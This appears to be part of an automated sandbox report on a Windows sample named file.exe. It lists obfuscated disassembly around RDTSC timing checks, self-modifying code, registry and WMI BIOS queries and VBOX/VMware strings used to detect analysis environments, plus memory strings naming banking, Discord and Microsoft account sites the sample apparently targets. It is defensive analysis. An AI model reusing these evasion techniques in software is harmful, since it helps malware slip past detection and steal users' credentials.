Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F03FC second address: 49F040F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F407Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F040F second address: 49F04AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A099h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F18AD89A0EFh 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F18AD89A08Ch 0x00000016 or cx, 0C58h 0x0000001b jmp 00007F18AD89A08Bh 0x00000020 popfd 0x00000021 push eax 0x00000022 pushfd 0x00000023 jmp 00007F18AD89A08Fh 0x00000028 jmp 00007F18AD89A093h 0x0000002d popfd 0x0000002e pop esi 0x0000002f popad 0x00000030 cmp dword ptr [ebp-14h], edi 0x00000033 pushad 0x00000034 mov ecx, ebx 0x00000036 mov ax, dx 0x00000039 popad 0x0000003a jne 00007F191F80809Fh 0x00000040 jmp 00007F18AD89A093h 0x00000045 mov ebx, dword ptr [ebp+08h] 0x00000048 pushad 0x00000049 mov bh, B4h 0x0000004b popad 0x0000004c lea eax, dword ptr [ebp-2Ch] 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 mov bl, 59h 0x00000054 mov ebx, ecx 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F04AD second address: 49F04C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F18AD7F4088h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F04C9 second address: 49F04E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a mov dx, ax 0x0000000d mov cl, FBh 0x0000000f popad 0x00000010 mov dword ptr [esp], esi 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F04E0 second address: 49F056D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bh, F8h 0x00000006 popad 0x00000007 pushfd 0x00000008 jmp 00007F18AD7F4084h 0x0000000d and ah, 00000068h 0x00000010 jmp 00007F18AD7F407Bh 0x00000015 popfd 0x00000016 popad 0x00000017 nop 0x00000018 pushad 0x00000019 jmp 00007F18AD7F4084h 0x0000001e jmp 00007F18AD7F4082h 0x00000023 popad 0x00000024 push eax 0x00000025 pushad 0x00000026 mov ax, bx 0x00000029 mov bx, BB10h 0x0000002d popad 0x0000002e nop 0x0000002f jmp 00007F18AD7F407Fh 0x00000034 xchg eax, ebx 0x00000035 jmp 00007F18AD7F4086h 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F056D second address: 49F0589 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A098h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0589 second address: 49F058F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F058F second address: 49F05AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F18AD89A094h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F05AE second address: 49F05C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F18AD7F407Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F05C0 second address: 49F05C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F05E1 second address: 49F05E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F05E5 second address: 49F05EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F05EB second address: 49F05F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F05F1 second address: 49F05F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E068C second address: 49E06D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F407Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F18AD7F407Bh 0x00000013 adc eax, 1D33ABAEh 0x00000019 jmp 00007F18AD7F4089h 0x0000001e popfd 0x0000001f mov cx, E037h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0A2A second address: 49F0A30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0A30 second address: 49F0A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0A34 second address: 49F0A58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A08Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F18AD89A08Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0A58 second address: 49F0A85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 push edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [769B459Ch], 05h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F18AD7F4087h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0A85 second address: 49F0A8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0B49 second address: 49F0B4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0B4D second address: 49F0B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0B53 second address: 49F0BFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F407Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov si, bx 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F18AD7F407Fh 0x0000001a and esi, 60FC470Eh 0x00000020 jmp 00007F18AD7F4089h 0x00000025 popfd 0x00000026 mov di, ax 0x00000029 popad 0x0000002a mov eax, dword ptr [eax] 0x0000002c pushad 0x0000002d mov edx, 575C646Eh 0x00000032 pushfd 0x00000033 jmp 00007F18AD7F407Fh 0x00000038 add ax, C51Eh 0x0000003d jmp 00007F18AD7F4089h 0x00000042 popfd 0x00000043 popad 0x00000044 mov dword ptr [esp+04h], eax 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b mov ebx, eax 0x0000004d jmp 00007F18AD7F4086h 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0BFC second address: 49F0C2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A08Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007F18AD89A096h 0x0000000f call 00007F191F7FEFD6h 0x00000014 push 76952B70h 0x00000019 push dword ptr fs:[00000000h] 0x00000020 mov eax, dword ptr [esp+10h] 0x00000024 mov dword ptr [esp+10h], ebp 0x00000028 lea ebp, dword ptr [esp+10h] 0x0000002c sub esp, eax 0x0000002e push ebx 0x0000002f push esi 0x00000030 push edi 0x00000031 mov eax, dword ptr [769B4538h] 0x00000036 xor dword ptr [ebp-04h], eax 0x00000039 xor eax, ebp 0x0000003b push eax 0x0000003c mov dword ptr [ebp-18h], esp 0x0000003f push dword ptr [ebp-08h] 0x00000042 mov eax, dword ptr [ebp-04h] 0x00000045 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004c mov dword ptr [ebp-08h], eax 0x0000004f lea eax, dword ptr [ebp-10h] 0x00000052 mov dword ptr fs:[00000000h], eax 0x00000058 ret 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c push ecx 0x0000005d pop ebx 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0C2D second address: 49F0C41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F18AD7F4080h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0C41 second address: 49F0C45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0CF3 second address: 49F0D05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F18AD7F407Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0D05 second address: 49F0D41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a jmp 00007F18AD89A097h 0x0000000f je 00007F191F7EDCE5h 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F18AD89A092h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0D41 second address: 49F0D91 instructions: 0x00000000 rdtsc 0x00000002 call 00007F18AD7F4082h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushfd 0x0000000b jmp 00007F18AD7F407Bh 0x00000010 and cx, 703Eh 0x00000015 jmp 00007F18AD7F4089h 0x0000001a popfd 0x0000001b popad 0x0000001c cmp dword ptr [ebp+08h], 00002000h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0D91 second address: 49F0D97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0D97 second address: 49F0D9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A008C1 second address: 4A008D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F18AD89A094h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A008D9 second address: 4A008DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A008DD second address: 4A00919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b jmp 00007F18AD89A097h 0x00000010 mov esi, dword ptr [ebp+0Ch] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F18AD89A095h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00919 second address: 4A00929 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F18AD7F407Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00929 second address: 4A00950 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A08Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F18AD89A090h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00950 second address: 4A00956 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00956 second address: 4A00974 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A08Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F191F7E7AD5h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00974 second address: 4A0097A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0097A second address: 4A00980 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00980 second address: 4A009C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [769B459Ch], 05h 0x0000000f jmp 00007F18AD7F407Ah 0x00000014 je 00007F191F759B74h 0x0000001a jmp 00007F18AD7F4080h 0x0000001f xchg eax, esi 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F18AD7F4087h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A009C9 second address: 4A009E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F18AD89A094h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A009E1 second address: 4A009E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A009E5 second address: 4A009FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F18AD89A08Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A009FD second address: 4A00A19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00A19 second address: 4A00A1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00A84 second address: 4A00A88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00A88 second address: 4A00A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00A8E second address: 4A00B22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, di 0x00000006 pushfd 0x00000007 jmp 00007F18AD7F407Fh 0x0000000c sub esi, 05A9B33Eh 0x00000012 jmp 00007F18AD7F4089h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F18AD7F4083h 0x00000025 sub ax, 754Eh 0x0000002a jmp 00007F18AD7F4089h 0x0000002f popfd 0x00000030 pushfd 0x00000031 jmp 00007F18AD7F4080h 0x00000036 and eax, 294309C8h 0x0000003c jmp 00007F18AD7F407Bh 0x00000041 popfd 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1B4CF second address: 5D1B4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1B4D3 second address: 5D1B4F1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F18AD7F4084h 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2F2F8 second address: 5D2F318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F18AD89A096h 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2F318 second address: 5D2F31E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2F490 second address: 5D2F4A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F18AD89A091h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2F745 second address: 5D2F74B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2F74B second address: 5D2F75C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F18AD89A08Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2F75C second address: 5D2F790 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F18AD7F4076h 0x00000008 jmp 00007F18AD7F407Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F18AD7F407Ah 0x00000016 jmp 00007F18AD7F4080h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D32BEE second address: 5D32BF4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D32BF4 second address: 5D32BFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D32BFB second address: 5D32C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F18AD89A088h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D32C10 second address: 5D32C46 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F18AD7F4078h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jo 00007F18AD7F407Ch 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 popad 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F18AD7F4085h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D32CA3 second address: 5D32D3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 ja 00007F18AD89A08Ch 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+122D312Ch], ecx 0x00000017 push 09011E65h 0x0000001c jnp 00007F18AD89A090h 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 jnl 00007F18AD89A086h 0x0000002b popad 0x0000002c xor dword ptr [esp], 09011EE5h 0x00000033 pushad 0x00000034 mov ebx, edi 0x00000036 mov dword ptr [ebp+122D2547h], esi 0x0000003c popad 0x0000003d xor ecx, dword ptr [ebp+122D2EDCh] 0x00000043 push 00000003h 0x00000045 jns 00007F18AD89A09Eh 0x0000004b push ecx 0x0000004c jmp 00007F18AD89A096h 0x00000051 pop esi 0x00000052 push 00000000h 0x00000054 jmp 00007F18AD89A092h 0x00000059 mov cl, 9Fh 0x0000005b push 00000003h 0x0000005d sub dword ptr [ebp+122D2EDCh], ebx 0x00000063 call 00007F18AD89A089h 0x00000068 pushad 0x00000069 push eax 0x0000006a push edx 0x0000006b jp 00007F18AD89A086h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D32D3C second address: 5D32D6F instructions: 0x00000000 rdtsc 0x00000002 js 00007F18AD7F4076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F18AD7F407Ch 0x00000010 jl 00007F18AD7F4076h 0x00000016 popad 0x00000017 push eax 0x00000018 jmp 00007F18AD7F407Dh 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 jo 00007F18AD7F4090h 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D32D6F second address: 5D32D9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A092h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F18AD89A092h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D32D9B second address: 5D32DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F18AD7F4083h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jbe 00007F18AD7F4083h 0x00000015 push ebx 0x00000016 jmp 00007F18AD7F407Bh 0x0000001b pop ebx 0x0000001c pop eax 0x0000001d mov edi, eax 0x0000001f lea ebx, dword ptr [ebp+12448B23h] 0x00000025 mov ecx, dword ptr [ebp+122D2BEDh] 0x0000002b xchg eax, ebx 0x0000002c push ecx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D32DE0 second address: 5D32E05 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jnc 00007F18AD89A086h 0x00000011 jmp 00007F18AD89A093h 0x00000016 popad 0x00000017 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FB81C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 295AC1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 320DD2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5BBDB31 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5D848DE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5D6A3EB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5DEE4A5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5BC2751 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 4788	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6368	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6528	Thread sleep time: -210000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000002.2561784216.0000000000275000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2567547941.0000000005D38000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2567043471.0000000005986000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2273840031.00000000053B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
